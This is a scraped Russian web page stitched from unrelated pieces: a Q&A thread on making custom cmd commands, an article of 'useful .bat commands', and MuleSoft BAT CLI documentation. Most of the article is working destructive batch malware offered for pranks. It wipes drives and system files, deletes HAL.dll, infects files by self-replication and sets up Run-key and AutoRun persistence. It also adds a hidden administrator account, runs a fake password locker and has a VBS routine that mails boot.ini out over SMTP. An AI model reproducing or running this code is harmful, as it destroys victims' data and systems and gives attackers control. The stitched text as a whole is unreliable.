Команды bat: Работа с bat-файлами. — База полезных знаний

cmd — Создание своей команды для командной строки windows


Вопрос задан


Изменён
8 месяцев назад


Просмотрен
8k раз

Я часто использую командную строку, и почти каждый раз начинаю свои работу с перехода в папку с проектами. Это не очень удобно, можно ли как-то сделать свою команду которая будет переносить меня сразу в нужную папку?

  • windows
  • cmd






1

  • Зайдите в любую директорию, которая установлена как Path (Панель управления — Система — Дополнительные параметры системы — Параметры среды… — Path).
    Одной из таких директорий является C:\Windows\System32.
  • В данную директорию поместите/создайте файл с расширением .cmd/.bat, имя данного файла будет являться будущей командой.
  • Пропишите в данном файле все, что вам необходимо, например задать директорию:

    @ECHO OFF
    cd /D D:\Downloads
    

Все, можем проверять новую команду: Открываем консоль и пишем имя файла (у меня файл .test.cmd и по этому я пишу test).

Как вариант:
Можно в отдельной папке, например (Z:\scripts), создать .bat скрипт, назвать его например project.bat и наполнить его содержимым:

cd path\to\project

После чего, нужно добавить путь Z:\scripts в переменную PATH в настройках переменных сред.
И при вызове project в консоли, будет исполнятся содержимое файла project.bat

Можно просто в папку с cmd закинуть файл с командой, он также будет работать где угодно при любом запуске. Таким образом в cmd можно добавить сколько угодно команд.

Переходим в папку C:\Windows\System32 и называем файл так, как будем использовать команду, например projects. В нём нам надо будет написать слудующее:

@echo off
cd /d путь до твоей папки

Теперь когда ты будешь писать projects в cmd, тебя будет перенаправлять в папку. Ещё для удобства можно добавить команду:

start твоя папка 

Надо создать файл [ваша_команда].bat с форматом bat или cmd. Дальше напишите внутрь:

@echo off
[и пишите сюда, что будет выполнять команда]

Дальше перейдите по пути C:\Windows\System32 и перекиньте туда этот файл. Откройте командную строку и напишите название файла которого вы перекинули в C:\Windows\System32

Всё.







Зарегистрируйтесь или войдите

Регистрация через Google

Регистрация через Facebook

Регистрация через почту

Отправить без регистрации

Почта

Необходима, но никому не показывается

Отправить без регистрации


Почта

Необходима, но никому не показывается




Нажимая на кнопку «Отправить ответ», вы соглашаетесь с нашими пользовательским соглашением, политикой конфиденциальности и политикой о куки


✔️ Команды для .

bat! ВСЕГДА актуально

Команды для .bat! ВСЕГДА актуально

Listen to this article

Нередко советы по тем или иным действиям и исправлениям в Windows 10, 8 и Windows 7 включают в себя шаги наподобие: «создайте файл .bat со следующим содержимым и запустите его». Однако, начинающий пользователь не всегда знает, как это сделать и что собой представляет такой файл. Первый и самый простой способ создать bat файл — использовать стандартную программу «Блокнот», присутствующую во всех актуальных версиях Windows.

 

Шаги по созданию будут следующими

  • Запустите Блокнот (находится в Программы — Стандартные, в Windows 10 быстрее запустить через поиск в панели задач, если блокнота нет в меню «Пуск», запустить его можно из C:\Windows\notepad.exe).
  • Введите в блокнот код вашего bat файла (например, скопируйте откуда-то, либо напишите свой, о некоторых командах — далее в инструкции).
  • В меню блокнота выберите «Файл» — «Сохранить как», выберите место сохранение файла, укажите имя файла с расширением . bat и, обязательно, в поле «Тип файла» установите «Все файлы».

 

  • Нажмите кнопку «Сохранить».

 

Примечание: если файл не сохраняется в указанное расположение, например, на диск C, с сообщение «У вас нет разрешения на сохранение файлов в этом месте», сохраните его в папку «Документы» или на рабочий стол, а затем скопируйте в нужное расположение (причина проблемы в том, что в Windows 10 для записи в некоторые папки нужны права администратора, а поскольку блокнот не был запущен от имени администратора, он не может сохранить файл в указанную папку).

Ваш файл .bat готов: если его запустить, будут автоматически выполнены все перечисленные в файле команды (при условии отсутствия ошибок и необходимости прав администратора: в некоторых случаях может потребоваться запускать файл bat от имени администратора: правый клик по файлу .bat — запустить от имени администратора в контекстном меню).

 

Примечание: в дальнейшем, если вы захотите отредактировать созданный файл, просто нажмите по нему правой кнопкой мыши и выберите «Изменить».

 

Код:

[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер

Код:

[USER=98981]@Echo[/USER] off
shutdown -s -t 1 -c "lol" >nul

Перезагрузка компьютера

Код:

[USER=98981]@Echo[/USER] off
shutdown -r -t 1 -c "lol" >nul

Запрещает запускать программы

Код:

[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul


Удаление дров

Код:

[USER=98981]@Echo[/USER] off
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul

Удаляет звуки Windows

Код:

[USER=98981]@Echo[/USER] off
del "%SystemRoot%\Media" /q >nul

Запрещает заходить в панель управления

Код:

[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши

Код:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши

Код:

del "%SystemRoot%Cursors*. *" >nul

Меняет название корзины

Код:

reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления

Код:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)

Код:

rd [Буква_Диск]: /s /q

Удаляет все файлы в program files

Код:

del c:Program Files/q

Убивает процесс explorer.exe

Код:

taskkill /f /im explorer.exe >nul

Создает миллион папок

Код:

FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере

Код:

del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul

Удаляет команду DEL

Код:

del %0

Будет открывать бесконечно Paint

Код:

:x
Start mspaint
goto x

Изменяет расширение всех ярлыков на . txt (ломает многие ярлыки)

Код:

assoc .lnk=.txt

Заражает Autoexec

Код:

copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)

Код:

[USER=98981]@Echo[/USER] off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.

Код:

rundll32 user,disableoemlayer


Меняет местами кнопки мыши, но обратная смена не возможна)

Код:

rundll32 user,SwapMouseButton

Удаляет ядро системы

Код:

del %systemroot%\system32\HAL. dll


Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)

Код:

[USER=98981]@Echo[/USER] off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Вирус заражает *.JPG в текущем каталоге

Код:

[USER=98981]@Echo[/USER] off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:
У вашего ламера будет глючить компьютер.

Код:

[USER=98981]@Echo[/USER] off
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

Вирус который убивает Винду. Не проверяйте на своем компьютере=)

Код:

[USER=98981]@Echo[/USER] This virus created by LIZA
[USER=98981]@Echo[/USER] Virus: pcforumhack. ru Virus
[USER=98981]@Echo[/USER] Autor: LIZA
[USER=98981]@Echo[/USER] off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll.bat
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso. deletefile "C:\ntldr",1 >> %temp%\temp.vbs
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
echo fso.deletefolder "D:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "I:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "C:\Windows",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefile sr+"\system32\hal.dll",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\dllcache",1 >> %temp%\temp. vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\drives",1 >> %temp%\temp.vbs
echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","forum.whack.ru">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","forum.whack.ru">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","forum.whack.ru">>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile ("A:\")>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True">>%temp%\temp2. vbs
echo loop>>%temp%\temp2.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject("shell. >= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count - 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "[email protected]", "[EMAIL][email protected][/EMAIL]", "...", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusing[/URL]") = 2 >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpauthenticate[/URL]") = 1 >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusername[/URL]") = "support" >> %temp%\temp. vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendpassword[/URL]") = "support" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserver[/URL]") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserverport[/URL]") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs
echo s.run "shutdown -r -t 0 -c ""pcforumhack. ru"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)

Код:

[USER=98981]@Echo[/USER] off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус...
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO [USER=98981]@Echo[/USER] off >>C:\windows\boot. bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

Добавляет программу в автозагрузку ОС

Код:

copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.

Код:

[USER=98981]@Echo[/USER] off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD
[USER=98981]@Echo[/USER] off
chcp 1251
echo щаска...
color 4
[USER=98981]@Echo[/USER] Вас собирается ~CENS~: ZhenyaZERO
[USER=98981]@Echo[/USER] Автор вируса: ZhenyaZERO
[USER=98981]@Echo[/USER] Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено.
pause
echo Этап 1: Создание ограничений
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32. dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F
del c:Program Files/q
taskkill /f /im explorer.exe >nul
echo Этап 2: Ща комп начнет глючить
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32. vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /
echo Этап 3: Прощай, винда!
del C:\ /s /q
del D:\ /s /q
del I:\ /s /q

Вы можете менять названия программ, расширений, текст, коды и т. д. Если вам нужно, вы сможете собрать свой вирус (или прогу для троллинга) за несколько минут. Это не гайд по сборке вируса.

Я рассказал про наиболее интересные команды ОС Виндовс, но далеко не про все. Кого заинтересовал этот вопрос и кто хочет узнать больше может воспользоваться интернетом и поиском в системах Яндекс, Гугл и им аналогичных. Использование bat-файлов и подходящих редакторов с разметкой текста, а также интернет ресурсов позволяет весьма удобно программировать без среды разработки на любом языке.

 


Если Вам понравилась статья — поделитесь с друзьями

995 просмотров

Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Windows|14.02.2020

Справочник интерфейса командной строки BAT | Документация MuleSoft

BAT CLI предоставляет интерфейс командной строки функционального мониторинга API через интеграцию с платформой Anypoint. Интерфейс командной строки позволяет запускать тесты локально и планировать мониторы для непрерывного тестирования API. Вы можете планировать тесты в облаке с помощью CLI-xAPI.

В этом справочнике описываются синтаксис и ключевые параметры, которые можно использовать с командами bat . Используя команды bat , вы можете отлаживать и запускать тесты, получать учетные данные для планирования тестов, планировать тесты, составлять список графиков тестов и выполнять дополнительные операции.

Для успешного выполнения команд учетная запись, под которой выполняется вход BAT CLI, должна иметь необходимые разрешения для действия, выполняемого командой.

Требуются разрешения

Чтобы использовать все команды bat для выполнения соответствующих действий в Anypoint Platform, вы должны иметь следующие разрешения.

Разрешение Действия

Создание приложений (Диспетчер выполнения)

Создание частных локаций

Удалить приложения (Диспетчер выполнения)

Удалить частные местоположения

Управление настройками (Диспетчер среды выполнения)

Обновить частные местоположения

Просмотр среды

Вход с помощью командной строки BAT

Посмотреть организацию

Использовать диспетчер секретов через BAT CLI

Участник обмена (биржа)

Создать или изменить монитор; добавить или изменить расписание

Администратор Exchange (Exchange)

Создание, изменение или удаление монитора; добавить, изменить или удалить расписание

Предоставление доступа к секретам (Менеджер секретов)

Использование диспетчера секретов

Параметры входа

Чтобы использовать команды bat для выполнения действий функционального мониторинга API, необходимо сначала войти в систему, используя один из следующих методов входа.

Вход с помощью подключенных приложений

bat [login --client-id --client-secret [--profile=<значение>] --host=<значение>]

Этот параметр выполняет вход на платформу Anypoint учетную запись, используя идентификатор клиента и секрет клиента из связанного приложения. Это обеспечивает альтернативный способ входа с использованием MFA (многофакторной проверки подлинности), поэтому второй фактор не требуется. Теперь MFA требуется для учетных записей без единого входа, если только они не находятся в списке исключений вашей организации. Сведения о связанных приложениях, которые настраиваются администраторами организации, см. в разделе Связанные приложения.

Вход с использованием имени пользователя и пароля

bat [login --username= [--profile=] --host=]

Эта опция позволяет войти в учетную запись Anypoint Platform используя имя пользователя и пароль. Он отображает интерактивную команду для пароля.

пароль для пользователя [имя пользователя]: <пароль>

Вы можете включить опцию --password=<пароль> в команду login .

Выполнение команд, хранящихся в файле

bat [ …​ | <опция> …​]

Где:

  • файл — относительный путь к пути и имени файла.

    Файл должен иметь одно из следующих базовых имен и одно из следующих расширений:

    • имена базовых файлов: main, bat

    • Расширения

      : .yaml или .yml

      Когда вы запускаете bat без каких-либо аргументов, BAT читает YAML в текущем каталоге и запускает указанные тесты.
      Вы можете создать config и добавьте различные файлы конфигурации в config для сред.

  • bat ~/path/to/folder/
    Выполняется из нужной папки. BAT ищет и выполняет файлы bat.yaml и main.dwl .

  • bat . /folder/file.dwl
    Выполняется с использованием нужного файла. Корнем проекта является текущая папка.
    Корень проекта используется для разрешения импорта и загрузки библиотек и файлов.

bat Опции команды

  • --помощь

    Отображает информацию о том, как использовать команду.

  • --валидировать | -В

    Проверяет файл или папку. Также работает с --config для проверки определенных конфигураций.

  • --config=<имя>

    Выбирает файл конфигурации (из папки config ) и регистрирует результат как глобальную переменную.

  • --версия

    Выводит в стандартный вывод номера версий установленных BAT и оболочки. Если последняя версия не установлена, загружается эта версия.

  • --обновление

    Обновляет CLI BAT до последней версии и настраивает файл . bat-version в текущей папке. Программа всегда учитывает конфигурацию .bat-версии при выполнении тестов. Если указанная версия не установлена, она загружается и устанавливается перед выполнением.

  • --отладка

    Отправляет информацию об устранении неполадок на стандартный вывод во время выполнения.

  • --дорожка

    Отправляет данные из локальных исполнений.

  • --bat-version=<версия>

    Выполняет BAT, используя указанную версию.

  • --init-папка

    Сохраняет файлы exchange.json и main.dwl , который вы генерируете при создании монитора в текущем каталоге. Необязательный.

  • --инициализация

    То же, что и команда bat init , которая устанавливает базовую папку проекта. В папке находятся следующие файлы:

     .
    ├── bat. yaml
    ├── конфиг
    │   ├── default.dwl
    │   ├── devx.dwl
    │   ├── qax.dwl
    │   └── stgx.dwl
    └── тесты
        └── HelloWorld.dwl 
  • --password=<значение>

    Значение представляет собой пароль для имени пользователя платформы Anypoint. Если нет, используется значение переменной окружения ANYPOINT_PASSWORD. Если значение этой переменной не задано, используется пароль по умолчанию из файла учетных данных.

  • --profile=<значение>

    Профиль:

    • Имя профиля для доступа к местоположению платформы Anypoint и сохранения информации для входа между сеансами BAT. Использование этого параметра устраняет необходимость повторного входа в систему между сеансами. Необязательный.

    • Имя профиля для планирования теста, которое может отличаться от используемого вами профиля входа в систему BAT. По умолчанию BAT использует профиль входа для планирования. Необязательный.

    • Если он отсутствует, используется значение переменной среды ANYPOINT_PROFILE. Если значение этой переменной не задано, используется профиль по умолчанию.

  • --username=<значение>

    Значение представляет собой имя пользователя платформы Anypoint. Если его нет, используется значение переменной среды ANYPOINT_USERNAME. Если значение для этой переменной не задано, используется имя пользователя по умолчанию из файла учетных данных.

  • --useProxy

